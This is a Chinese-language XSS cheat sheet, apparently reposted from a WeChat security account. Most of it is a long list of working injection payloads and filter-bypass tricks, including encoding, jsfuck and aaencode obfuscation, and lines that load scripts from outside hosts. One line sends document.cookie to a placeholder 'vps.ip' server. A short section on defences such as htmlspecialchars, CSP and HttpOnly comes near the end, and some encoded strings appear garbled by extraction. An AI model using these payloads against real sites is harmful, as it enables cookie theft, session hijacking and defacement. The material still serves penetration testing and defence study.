XSS简介
XSS（Cross Site Scripting，跨站脚本攻击）是一类特殊的 Web 客户端脚本注入攻击手段，通常指攻击者通过“HTML 注入”篡改了网页，插入恶意的脚本，从而在用户浏览网页时控制浏览器的一种攻击，当应用程序发送给浏览器的页面中包含用户提供的数据，而这些数据没有经过适当的转义，或者在这些内容被显示在页面之前没有验证它们都是安全的，使得输入被视为浏览器中的动态内容，就会导致存在跨站脚本漏洞。
XSS漏洞原理
攻击者嵌入恶意脚本代码到用户会访问到的页面中，用户访问该页面的时候，就引起恶意脚本代码的执行，从而达到恶意攻击用户的目的。攻击者可以使用户在浏览器中执行其预定义的恶意脚本，变量接受数据的时候，数据可以写成js脚本代码，进行回显操作。本质上属于前端漏洞，产生在浏览器和js代码中的漏洞。
XSS漏洞类型
反射型XSS(非持续型XSS)储存型XSS(持续型XSS）DOM XSS
三者XSS漏洞类型的具体区别
三者XSS漏洞类型的原理
检测及危害
如何检测
可能存在的点位
用户能够输入提交数据的地方，文本框，url，请求头危害
XSS fuzz
思路：闭合html的标签，使得浏览器弹窗。
<img src=1 onerror=alert(1);></script><script>alert(1);</script></script><script>alert(document.cookie);</script>><body onload=alert(1)><ScRiPt>alert(1);</ScRiPt>eval(%26%23%27 alert(1)%26%23%27);yoid/><script>alert(1);</script>alert(1)';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'';!--"<XSS>=&{()}0"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"<script/src=data:,alert()><marquee/onstart=alert()><video/poster/onerror=alert()><isindex/autofocus/onfocus=alert()><SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT><IMG SRC="'javascript:alert('XSS'');"><IMG SRC='javascript:alert('XSS'')><IMG SRC=JaVaScRiPt:alert('XSS')><IMG SRC=javascript:alert("XSS")><IMG SRC=`javascript:alert("RSnake says, 'XSS'")`><a onmouseover="alert(document.cookie)">xxs link</a><a onmouseover=alert(document.cookie)>xxs link</a><IMG """><SCRIPT>alert("XSS")</SCRIPT>"><IMG SRC=javascript:alert(String.fromCharCode(88,83,83))><IMG SRC=# onmouseover="alert('xxs')"><IMG SRC= onmouseover="alert('xxs')"><IMG onmouseover="alert('xxs')"><IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img><IMG SRC=javascript:alert('XSS')><IMG SRC=javascript:alert('XSS')><IMG SRC=javascript:alert('XSS')><IMG SRC="jav ascript:alert('XSS');"><IMG SRC="jav	ascript:alert('XSS');"><IMG SRC="jav
ascript:alert('XSS');"><IMG SRC="jav
ascript:alert('XSS');"><IMG SRC="  'javascript:alert('XSS'');"><SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT><BODY onload!#$%&()*~+-_.,:;?@[/|]^`=alert("XSS")><SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT><<SCRIPT>alert("XSS");//<</SCRIPT><SCRIPT SRC=http://ha.ckers.org/xss.js?< B ><SCRIPT SRC=//ha.ckers.org/.j><IMG SRC="'javascript:alert('XSS'')"<iframe src=http://ha.ckers.org/scriptlet.html <";alert('XSS');//</script><script>alert('XSS');</script></TITLE><SCRIPT>alert("XSS");</SCRIPT><INPUT TYPE="IMAGE" SRC="'javascript:alert('XSS'');"><BODY BACKGROUND="'javascript:alert('XSS'')"><IMG DYNSRC="'javascript:alert('XSS'')"><IMG LOWSRC="'javascript:alert('XSS'')"><STYLE>li {list-style-image: url("'javascript:alert('XSS'')");}</STYLE><UL><LI>XSS</br><IMG SRC='vbscript:msgbox("XSS")'><IMG SRC="livescript:"><BODY ONLOAD=alert('XSS')><BGSOUND SRC="'javascript:alert('XSS'');"><BR SIZE="&{alert('XSS')}"><LINK REL="stylesheet" HREF="'javascript:alert('XSS'');"><LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"><STYLE>@import'http://ha.ckers.org/xss.css';</STYLE><META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"><STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE><STYLE>@import'javascript:alert("XSS")';</STYLE><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">exp/*<A STYLE='noxss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'><STYLE TYPE="text/javascript">alert('XSS');</STYLE><STYLE>.XSS{background-image:url("'javascript:alert('XSS'')");}</STYLE><A CLASS=XSS></A><STYLE type="text/css">BODY{background:url("'javascript:alert('XSS'')")}</STYLE><XSS STYLE="xss:expression(alert('XSS'))"><XSS STYLE="behavior: url(xss.htc);">¼script¾alert(¢XSS¢)¼/script¾<META HTTP-EQUIV="refresh" CONTENT="0;url='javascript:alert('XSS'');"><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL='javascript:alert('XSS'');"><IFRAME SRC="'javascript:alert('XSS'');"></IFRAME><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME><FRAMESET><FRAME SRC="'javascript:alert('XSS'');"></FRAMESET><TABLE BACKGROUND="'javascript:alert('XSS'')"><TABLE><TD BACKGROUND="'javascript:alert('XSS'')"><DIV STYLE="background-image: url('javascript:alert('XSS''))"><DIV STYLE="background-image:�075�072�06C�028'�06a�061�076�061�073�063�072�069�070�074�03a�061�06c�065�072�074�028.1027�058.1053�053�027�029'�029"><DIV STYLE="background-image: url('javascript:alert('XSS''))"><DIV STYLE="width: expression(alert('XSS'));"><!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]--><BASE HREF="'javascript:alert('XSS'');//"><OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT><!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"--><? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?><IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT><SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT><SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT><SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT><SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT><SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT><A HREF="http://66.102.7.147/">XSS</A>0"autofocus/onfocus=alert(1)--><video/poster/ error=prompt(2)>"-confirm(3)-"veris-->group<svg/onload=alert(/XSS/)//#"><img src=M onerror=alert('XSS');>element[attribute='<img src=x onerror=alert('XSS');>[<blockquote cite="]">[" onmouseover="alert('RVRSH3LL_XSS');" ]%22;alert%28%27RVRSH3LL_XSS%29//javascript:alert%281%29;<w contenteditable id=x onfocus=alert()>alert;pg("XSS")<svg/onload=%26%23097lert%26lpar;1337)><script>for((i)in(self))eval(i)(1)</script><scr<script>ipt>alert(1)</scr</script>ipt><scr<script>ipt>alert(1)</scr</script>ipt><sCR<script>iPt>alert(1)</SCr</script>IPt><a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">test</a>
常用html标签
<a><img><svg><iframe><input><script>
可用事件
onloadonerroronclickonunloadonchangeonsubmitonresetonselectonbluronfocusonabortonkeydownonkeypressonkeyupondbclickonmouseoveronmousemoveonmouseoutonmouseuponforminputonformchangeondragondrop
XSS测试
基本测试流程
首先弹窗
单独标签
<script>alert(1)</script><script>prompt(1)</script><svg onload=alert(1)><img src=x onerror="alert(1)"><img src=x onclick="prompt(1)"><a href="javascript:alert(1)" >click me</a><a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a><iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe><input onfocus="alert(1)">
作为属性输入
"><svg/onload=alert(1)//" onclick="confirm(1)" "#尝试引入外部javascript“><script src=http://www.xxx.com/ec.js></script><svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'//onfocus='a=document.createElement("script");a.src=http://x.x.x.x";body.appendChile(a);'onfocus='a=document.createElement("sc"+"ript");a.src=http://x.x.x.x";body.appendChile(a);'<link%20rel=import%20href="2.js">#发送cookie到vps<script>window.location.href="http://vps.ip/?cookie="+document.cookie;</script>
javascript支持
`src/href/action/xlink:href/autofocus/content/data`XSS绕过
引号绕过
- 单引号`'`被禁用双引号`"`,来回替换- 用斜杠`/`替换引号alert(/xss/)- 单双引号都被禁，不用引号<input onfocus=alert(1)>- 反引号<svg/onload="window.onerror=eval;throw'=alertx281x29';">
关键词绕过
- 替换关键字alertconfirmprompt- 分割关键词> 此处特殊字符用url编码代替#空白字符形式alert%20(/xss/)#回车换行alert%0a(/xss/)alert%0d(/xss/)#缩进alert%09(/xss/)#注释alert/*abcd*/(/xss/)#注释换行alert//abcd%0a(/xss/)alert//abcd%0d(/xss/)#括号分割(alert)(/xss/)((alert))(/xss/)- window和top调用window.alert(0)window['al'+'ert'](0)top['al'+'ert'](0)top.alert(0)#用法<img src=x onerror="window['al'+'ert'](0)"></img><img src=x onerror="window.alert(0)"></img><img src=x onerror="top['al'+'ert'](0)"></img><img src=x onerror="top.alert(0)"></img>- 动态调用<input/onfocus=_=alert,_(123)><input/onfocus=_=alert,xx=1,_(123)><input/onfocus=_=alert;_(123)><input/onfocus=_=alert;xx=1;_(123)><input/onfocus=_=window['alert'],_(123)><input/onfocus=_=window.alert,_(123)><input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`>- 异常处理<svg/onload="window.onerror=eval;throw'=alertx281x29';"><img src=1 onerror="window.onerror=eval;throw'=alertx281x29';">- eval执行js<svg/onload=eval('ale'+'rt(1)')>- 关键字拼接<svg/onload=location='javas'+'cript:ale'+'rt(1)'><svg/onload=window.location='javas'+'cript:ale'+'rt(1)'><svg/onload=location.href='javas'+'cript:ale'+'rt(1)'><svg/onload=window.open('javas'+'cript:ale'+'rt(1)')><svg/onload=location='javas'.concat('cript:ale','rt(1)')>- eval结合编码<script>window['eval']("x61x6Cx65x72x74x28x31x29")</script><script>window['eval']("141154145162164�50�61�51")</script><script>window['eval']("u0061u006Cu0065u0072u0074u0028u0031u0029")</script>- 大小写绕过<sCriPt>alert(1);</scRiPt>- 双写绕过针对服务器删除敏感字符的过滤<sCrsCriPtiPt>alert(1);</scRsCriPtiPt>
关键词绕过之编码绕过
1、html编码绕过
<iframe src=javascript:alert(1)>十进制html编码<iframe src=javascript:alert(1)>十六进制html编码<iframe src=javascript:alert(1)>不带分号形式<iframe src=javascript:alert(1)>填充0的形式<iframe src=javascript:alert(1)>部分关键字绕过<iframe src=javas	cript:alert(1)></iframe> //Tab<iframe src=javas
cript:alert(1)></iframe> //回车<iframe src=javas
cript:alert(1)></iframe> //换行<iframe src=javascript:alert(1)></iframe> //编码冒号<iframe src=javasc
ript:alert(1)></iframe> //HTML5 新增的实体命名编码，IE6、7下不支持<a href=javas	cript:alert(1)>
2、url编码
<a href="{here}">xx</a><iframe src="{here}">
在src和href中可以进行URL编码，但是`javascript:`不能进行URL编码
<a href="javascript:%61%6c%65%72%74%28%31%29">xx</a><iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
二次URL编码
<iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529"></iframe>结合16进制html编码
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>3、Unicode编码
普通编码
<input onfocus=location="javascript:u0061u006Cu0065u0072u0074u0028u0031u0029" autofocus><input onfocus=u0061u006Cu0065u0072u0074(1) autofocus>
八进制及十六进制
<svg/onload=setTimeout('x61x6Cx65x72x74x28x31x29')><svg/onload=setTimeout('141154145162164�50�61�51')><svg/onload=setTimeout('u0061u006Cu0065u0072u0074u0028u0031u0029')><script>eval("x61x6Cx65x72x74x28x31x29")</script><script>eval("141154145162164�50�61�51")</script><script>eval("u0061u006Cu0065u0072u0074u0028u0031u0029")</script>
4、Base64编码绕过
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a><iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>
利用atob函数
<a%20href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a><a%20href=javascript:eval(window.atob('YWxlcnQoMSk='))>Click</a><a%20href=javascript:eval(window['atob']('YWxlcnQoMSk='))>Click</a>
5、String.fromCharCode
这个方法用于将unicode转换为字符串
<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>Click</a>字符串转ascii脚本
def to_ascii(text):ascii_values = [ord(character) for character in text]return ascii_valuestext = "alert(1)"print(str(to_ascii(text)))
6、unicode+url+html
Unicode编码
<a href=javascript:u0061u006Cu0065u0072u0074(1)>Click</a>URL编码
<a href=javascript:%2561%256c%2565%2572%2574%2528%2531%2529>Click</a>HTML编码
<a href=javascript:alert(1)>Click</a>编码顺序：Unicode->URL->HTML
# Unicode<a href=javascript:u0061u006Cu0065u0072u0074(1)>Click</a># Unicode+URL<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a># Unicode+URL+HTML<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a><script/src=data:text/ju0061vu0061script,u0061%6C%65%72%74(/XSS/)></script>
7、jsfuck
<script>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])</script>8、aaencode
<script>ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻ //*´∇｀*/ ['_']; o=(ﾟｰﾟ) =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+/*´∇｀*/(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+(ﾟｰﾟ)+(ﾟΘﾟ)+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟｰﾟ)+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+(ﾟｰﾟ)+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((o^_^o) +(o^_^o))+((o^_^o) - (ﾟΘﾟ))+(ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+((o^_^o) +(o^_^o))+(ﾟｰﾟ)+(ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+(c^_^o)+(ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+(ﾟΘﾟ)+(ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+(ﾟΘﾟ)+(ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_');</script>空格绕过
- 注释/**//=><svg/onload=alert(1)><script>/**/alert/**/(document/**/.cookie)/**/</script>- 换行绕过%0d%0a%09
XSS防护
<?phpecho htmlspecialchars($_REQUEST[ 'id' ]);?>
2. 其它的通用的补充性防御手段
1.在输出html时，加上Content Security Policy的Http Header（作用：可以防止页面被XSS攻击时，嵌入第三方的脚本文件等）（缺陷：IE或低版本的浏览器可能不支持）2.在设置Cookie时，加上HttpOnly参数（作用：可以防止页面被XSS攻击时，Cookie信息被盗取，可兼容至IE6）（缺陷：网站本身的JS代码也无法操作Cookie，而且作用有限，只能保证Cookie的安全）3.在开发API时，检验请求的Referer参数（作用：可以在一定程度上防止CSRF攻击）（缺陷：IE或低版本的浏览器中，Referer参数可以被伪造）4.前端采用大型框架Angular,Vue,React等等。5.用session代替cookie。6.对于用户输入的数据要严格过滤写入数据库的数据，一定要保证合理过滤。7.对于所有输出的地方，一定要做好过滤工作，比如采用模版渲染等等。
如何绕过httponly
如何绕过XSS防护
修改编码格式加密解密算法结合其他漏洞绕过大小写onerror函数配合平台，例如xssfuzzer.com生成语句工具：Xwaf,XSStrike
原文始发于微信公众号（极星信安）：XSS的payload和绕过总结【文末附HW面经】
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论